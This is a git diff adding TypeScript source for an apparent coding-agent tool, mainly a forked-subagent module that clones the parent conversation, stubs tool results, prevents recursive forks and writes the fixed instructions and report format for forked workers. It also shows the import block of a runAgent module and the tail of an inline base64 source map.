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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/tools/AgentTool/forkSubagent.ts b/_all-in-one-upload/cc-haha/src/tools/AgentTool/forkSubagent.ts
new file mode 100644
index 0000000..3f5c354
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/AgentTool/forkSubagent.ts
@@ -0,0 +1,210 @@
+import { feature } from 'bun:bundle'
+import type { BetaToolUseBlock } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
+import { randomUUID } from 'crypto'
+import { getIsNonInteractiveSession } from '../../bootstrap/state.js'
+import {
+  FORK_BOILERPLATE_TAG,
+  FORK_DIRECTIVE_PREFIX,
+} from '../../constants/xml.js'
+import { isCoordinatorMode } from '../../coordinator/coordinatorMode.js'
+import type {
+  AssistantMessage,
+  Message as MessageType,
+} from '../../types/message.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { createUserMessage } from '../../utils/messages.js'
+import type { BuiltInAgentDefinition } from './loadAgentsDir.js'
+
+/**
+ * Fork subagent feature gate.
+ *
+ * When enabled:
+ * - `subagent_type` becomes optional on the Agent tool schema
+ * - Omitting `subagent_type` triggers an implicit fork: the child inherits
+ *   the parent's full conversation context and system prompt
+ * - All agent spawns run in the background (async) for a unified
+ *   `<task-notification>` interaction model
+ * - `/fork <directive>` slash command is available
+ *
+ * Mutually exclusive with coordinator mode — coordinator already owns the
+ * orchestration role and has its own delegation model.
+ */
+export function isForkSubagentEnabled(): boolean {
+  if (feature('FORK_SUBAGENT')) {
+    if (isCoordinatorMode()) return false
+    if (getIsNonInteractiveSession()) return false
+    return true
+  }
+  return false
+}
+
+/** Synthetic agent type name used for analytics when the fork path fires. */
+export const FORK_SUBAGENT_TYPE = 'fork'
+
+/**
+ * Synthetic agent definition for the fork path.
+ *
+ * Not registered in builtInAgents — used only when `!subagent_type` and the
+ * experiment is active. `tools: ['*']` with `useExactTools` means the fork
+ * child receives the parent's exact tool pool (for cache-identical API
+ * prefixes). `permissionMode: 'bubble'` surfaces permission prompts to the
+ * parent terminal. `model: 'inherit'` keeps the parent's model for context
+ * length parity.
+ *
+ * The getSystemPrompt here is unused: the fork path passes
+ * `override.systemPrompt` with the parent's already-rendered system prompt
+ * bytes, threaded via `toolUseContext.renderedSystemPrompt`. Reconstructing
+ * by re-calling getSystemPrompt() can diverge (GrowthBook cold→warm) and
+ * bust the prompt cache; threading the rendered bytes is byte-exact.
+ */
+export const FORK_AGENT = {
+  agentType: FORK_SUBAGENT_TYPE,
+  whenToUse:
+    'Implicit fork — inherits full conversation context. Not selectable via subagent_type; triggered by omitting subagent_type when the fork experiment is active.',
+  tools: ['*'],
+  maxTurns: 200,
+  model: 'inherit',
+  permissionMode: 'bubble',
+  source: 'built-in',
+  baseDir: 'built-in',
+  getSystemPrompt: () => '',
+} satisfies BuiltInAgentDefinition
+
+/**
+ * Guard against recursive forking. Fork children keep the Agent tool in their
+ * tool pool for cache-identical tool definitions, so we reject fork attempts
+ * at call time by detecting the fork boilerplate tag in conversation history.
+ */
+export function isInForkChild(messages: MessageType[]): boolean {
+  return messages.some(m => {
+    if (m.type !== 'user') return false
+    const content = m.message.content
+    if (!Array.isArray(content)) return false
+    return content.some(
+      block =>
+        block.type === 'text' &&
+        block.text.includes(`<${FORK_BOILERPLATE_TAG}>`),
+    )
+  })
+}
+
+/** Placeholder text used for all tool_result blocks in the fork prefix.
+ * Must be identical across all fork children for prompt cache sharing. */
+const FORK_PLACEHOLDER_RESULT = 'Fork started — processing in background'
+
+/**
+ * Build the forked conversation messages for the child agent.
+ *
+ * For prompt cache sharing, all fork children must produce byte-identical
+ * API request prefixes. This function:
+ * 1. Keeps the full parent assistant message (all tool_use blocks, thinking, text)
+ * 2. Builds a single user message with tool_results for every tool_use block
+ *    using an identical placeholder, then appends a per-child directive text block
+ *
+ * Result: [...history, assistant(all_tool_uses), user(placeholder_results..., directive)]
+ * Only the final text block differs per child, maximizing cache hits.
+ */
+export function buildForkedMessages(
+  directive: string,
+  assistantMessage: AssistantMessage,
+): MessageType[] {
+  // Clone the assistant message to avoid mutating the original, keeping all
+  // content blocks (thinking, text, and every tool_use)
+  const fullAssistantMessage: AssistantMessage = {
+    ...assistantMessage,
+    uuid: randomUUID(),
+    message: {
+      ...assistantMessage.message,
+      content: [...assistantMessage.message.content],
+    },
+  }
+
+  // Collect all tool_use blocks from the assistant message
+  const toolUseBlocks = assistantMessage.message.content.filter(
+    (block): block is BetaToolUseBlock => block.type === 'tool_use',
+  )
+
+  if (toolUseBlocks.length === 0) {
+    logForDebugging(
+      `No tool_use blocks found in assistant message for fork directive: ${directive.slice(0, 50)}...`,
+      { level: 'error' },
+    )
+    return [
+      createUserMessage({
+        content: [
+          { type: 'text' as const, text: buildChildMessage(directive) },
+        ],
+      }),
+    ]
+  }
+
+  // Build tool_result blocks for every tool_use, all with identical placeholder text
+  const toolResultBlocks = toolUseBlocks.map(block => ({
+    type: 'tool_result' as const,
+    tool_use_id: block.id,
+    content: [
+      {
+        type: 'text' as const,
+        text: FORK_PLACEHOLDER_RESULT,
+      },
+    ],
+  }))
+
+  // Build a single user message: all placeholder tool_results + the per-child directive
+  // TODO(smoosh): this text sibling creates a [tool_result, text] pattern on the wire
+  // (renders as </function_results>\n\nHuman:<text>). One-off per-child construction,
+  // not a repeated teacher, so low-priority. If we ever care, use smooshIntoToolResult
+  // from src/utils/messages.ts to fold the directive into the last tool_result.content.
+  const toolResultMessage = createUserMessage({
+    content: [
+      ...toolResultBlocks,
+      {
+        type: 'text' as const,
+        text: buildChildMessage(directive),
+      },
+    ],
+  })
+
+  return [fullAssistantMessage, toolResultMessage]
+}
+
+export function buildChildMessage(directive: string): string {
+  return `<${FORK_BOILERPLATE_TAG}>
+STOP. READ THIS FIRST.
+
+You are a forked worker process. You are NOT the main agent.
+
+RULES (non-negotiable):
+1. Your system prompt says "default to forking." IGNORE IT \u2014 that's for the parent. You ARE the fork. Do NOT spawn sub-agents; execute directly.
+2. Do NOT converse, ask questions, or suggest next steps
+3. Do NOT editorialize or add meta-commentary
+4. USE your tools directly: Bash, Read, Write, etc.
+5. If you modify files, commit your changes before reporting. Include the commit hash in your report.
+6. Do NOT emit text between tool calls. Use tools silently, then report once at the end.
+7. Stay strictly within your directive's scope. If you discover related systems outside your scope, mention them in one sentence at most — other workers cover those areas.
+8. Keep your report under 500 words unless the directive specifies otherwise. Be factual and concise.
+9. Your response MUST begin with "Scope:". No preamble, no thinking-out-loud.
+10. REPORT structured facts, then stop
+
+Output format (plain text labels, not markdown headers):
+  Scope: <echo back your assigned scope in one sentence>
+  Result: <the answer or key findings, limited to the scope above>
+  Key files: <relevant file paths — include for research tasks>
+  Files changed: <list with commit hash — include only if you modified files>
+  Issues: <list — include only if there are issues to flag>
+</${FORK_BOILERPLATE_TAG}>
+
+${FORK_DIRECTIVE_PREFIX}${directive}`
+}
+
+/**
+ * Notice injected into fork children running in an isolated worktree.
+ * Tells the child to translate paths from the inherited context, re-read
+ * potentially stale files, and that its changes are isolated.
+ */
+export function buildWorktreeNotice(
+  parentCwd: string,
+  worktreeCwd: string,
+): string {
+  return `You've inherited the conversation context above from a parent agent working in ${parentCwd}. You are operating in an isolated git worktree at ${worktreeCwd} — same repository, same relative file structure, separate working copy. Paths in the inherited context refer to the parent's working directory; translate them to your worktree root. Re-read files before editing if the parent may have modified them since they appear in the context. Your changes stay in this worktree and will not affect the parent's files.`
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/AgentTool/runAgent.ts b/_all-in-one-upload/cc-haha/src/tools/AgentTool/runAgent.ts
new file mode 100644
index 0000000..e2cb942
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/AgentTool/runAgent.ts
@@ -0,0 +1,973 @@
+import { feature } from 'bun:bundle'
+import type { UUID } from 'crypto'
+import { randomUUID } from 'crypto'
+import uniqBy from 'lodash-es/uniqBy.js'
+import { logForDebugging } from 'src/utils/debug.js'
+import { getProjectRoot, getSessionId } from '../../bootstrap/state.js'
+import { getCommand, getSkillToolCommands, hasCommand } from '../../commands.js'
+import {
+  DEFAULT_AGENT_PROMPT,
+  enhanceSystemPromptWithEnvDetails,
+} from '../../constants/prompts.js'
+import type { QuerySource } from '../../constants/querySource.js'
+import { getSystemContext, getUserContext } from '../../context.js'
+import type { CanUseToolFn } from '../../hooks/useCanUseTool.js'
+import { query } from '../../query.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
+import { getDumpPromptsPath } from '../../services/api/dumpPrompts.js'
+import { cleanupAgentTracking } from '../../services/api/promptCacheBreakDetection.js'
+import {
+  connectToServer,
+  fetchToolsForClient,
+} from '../../services/mcp/client.js'
+import { getMcpConfigByName } from '../../services/mcp/config.js'
+import type {
+  MCPServerConnection,
+  ScopedMcpServerConfig,
+} from '../../services/mcp/types.js'
+import type { Tool, Tools, ToolUseContext } from '../../Tool.js'
+import { killShellTasksForAgent } from '../../tasks/LocalShellTask/killShellTasks.js'
+import type { Command } from '../../types/command.js'
+import type { AgentId } from '../../types/ids.js'
+import type {
+  AssistantMessage,
+  Message,
+  ProgressMessage,
+  RequestStartEvent,
+  StreamEvent,
+  SystemCompactBoundaryMessage,
+  TombstoneMessage,
+  ToolUseSummaryMessage,
+  UserMessage,
+} from '../../types/message.js'
+import { createAttachmentMessage } from '../../utils/attachments.js'
+import { AbortError } from '../../utils/errors.js'
+import { getDisplayPath } from '../../utils/file.js'
+import {
+  cloneFileStateCache,
+  createFileStateCacheWithSizeLimit,
+  READ_FILE_STATE_CACHE_SIZE,
+} from '../../utils/fileStateCache.js'
+import {
+  type CacheSafeParams,
+  createSubagentContext,
+} from '../../utils/forkedAgent.js'
+import { registerFrontmatterHooks } from '../../utils/hooks/registerFrontmatterHooks.js'
+import { clearSessionHooks } from '../../utils/hooks/sessionHooks.js'
+import { executeSubagentStartHooks } from '../../utils/hooks.js'
+import { createUserMessage } from '../../utils/messages.js'
+import { getAgentModel } from '../../utils/model/agent.js'
+import type { ModelAlias } from '../../utils/model/aliases.js'
+import {
+  clearAgentTranscriptSubdir,
+  recordSidechainTranscript,
+  setAgentTranscriptSubdir,
+  writeAgentMetadata,
+} from '../../utils/sessionStorage.js'
+import {
+  isRestrictedToPluginOnly,
+  isSourceAdminTrusted,
+} from '../../utils/settings/pluginOnlyPolicy.js'
+import {
+  asSystemPrompt,
+  type SystemPrompt,
+} from '../../utils/systemPromptType.js'
+import {
+  isPerfettoTracingEnabled,
+  registerAgent as registerPerfettoAgent,
+  unregisterAgent as unregisterPerfettoAgent,
+} from '../../utils/telemetry/perfettoTracing.js'
+import type { ContentReplacementState } from '../../utils/toolResultStorage.js'
+import { createAgentId } from '../../utils/uuid.js'
+import { resolveAgentTools } from './agentToolUtils.js'
+import { type AgentDefinition, isBuiltInAgent } from './loadAgentsDir.js'
+
+/**
